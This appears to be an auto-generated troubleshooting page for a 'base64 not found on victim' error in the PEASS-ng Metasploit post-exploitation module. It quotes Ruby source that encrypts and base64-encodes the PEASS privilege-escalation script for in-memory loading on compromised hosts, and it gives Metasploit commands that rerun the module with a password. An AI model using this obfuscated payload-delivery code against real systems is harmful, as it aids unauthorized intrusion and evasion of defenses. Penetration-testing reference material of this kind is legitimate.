peass-ng/PEASS-ng · error · RuntimeError

base64 not found on victim, set a 32B length password!

Error message

base64 not found on victim, set a 32B length password!

What it means

When no PASSWORD is set, peass.rb base64-encodes the PEASS script and relies on the victim's base64 binary to decode it. If `command -v base64` finds nothing on a non-Windows session, the module raises this error, asking you to either ensure base64 exists or switch to a 32-byte-length PASSWORD (OpenSSL path).

Source

Thrown at metasploit/peass.rb:128

        # As the PS function is only capable of decrypting readable strings
        # in Windows we encrypt the B64 of the binary and then load it in memory 
        # from the initial B64. Then: original -> B64 -> encrypt -> B64
        aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it
        peass_script_64 = aes_enc_peass_ret["encrypted"]
        key_b64 = aes_enc_peass_ret["key_b64"]
        iv_b64 = aes_enc_peass_ret["iv_b64"]
        load_winpeas = get_ps_aes_decr()
        
        ps_var2 = rand(36**6).to_s(36)
        load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};"
        load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));"
      end
    
    else
      # If no Windows, check if base64 exists
      if !session.platform.include?("win")
        base64_path = cmd_exec("command -v base64")
        raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?("base64")
      end

      # Encode PEASS script
      print_status("Encoding PEASS in Base64...")
      peass_script_64 = Base64.encode64(peass_script)

      # Needed code to decode it in Unix and Windows
      decode_linpeass_cmd = "base64 -d"
      load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));"
    
    end
    
    # Write obfuscated PEASS to a local file
    file = Tempfile.new('peass_metasploit')
    file.write(peass_script_64)
    file.rewind
    @temp_file_path = file.path

View on GitHub (pinned to 53fb989abc)

Solutions

1. Install base64 (coreutils) on the victim or provide it at a PATH-visible location
2. Set a PASSWORD (32-byte length recommended) so the module uses openssl instead of base64
3. Verify `command -v base64` works on the session before running the module

Example fix

# before
run_single("use multi/meterpreter/peass; set SRVHOST 10.0.0.5; run")
# after
run_single("use multi/meterpreter/peass; set PASSWORD a]GK9s2LmV4bQz7XpR1tNw8yJeF6HdC3; run")

if session.platform !~ /win/
  b64 = session.shell_command_token("command -v base64")
  raise "base64 missing; set a PASSWORD instead" unless b64.to_s.include?("base64")
end

begin
  run_single("use multi/meterpreter/peass; unset PASSWORD; run")
rescue ::Exception => e
  print_error("#{e.message}; retrying with openssl-based password")
  run_single("use multi/meterpreter/peass; set PASSWORD <32-char-password>; run")
end

When it happens

Trigger: Running the peass module with PASSWORD unset (or length <= 1) against a Unix session where `command -v base64` returns empty — base64 utility missing from the victim's PATH.

Common situations: Minimal Docker images or BusyBox systems without coreutils base64; alternative base64 implementations with different names/paths.

Related errors

• openssl not found on victim, unset the password of the modul
• Neither curl nor wget were found in victim, unset the SRVHOS
• Something failed downloading PEASS script from #{url_peass}
• PEASS local file (#{url_peass}) does not exist!
• Something falied reading PEASS script from #{url_peass}

AI-assisted analysis of peass-ng/PEASS-ng@53fb989abc (2026-09-02). Data as JSON: /api/errors/1b2991b90fb77ec2. Report an issue: GitHub.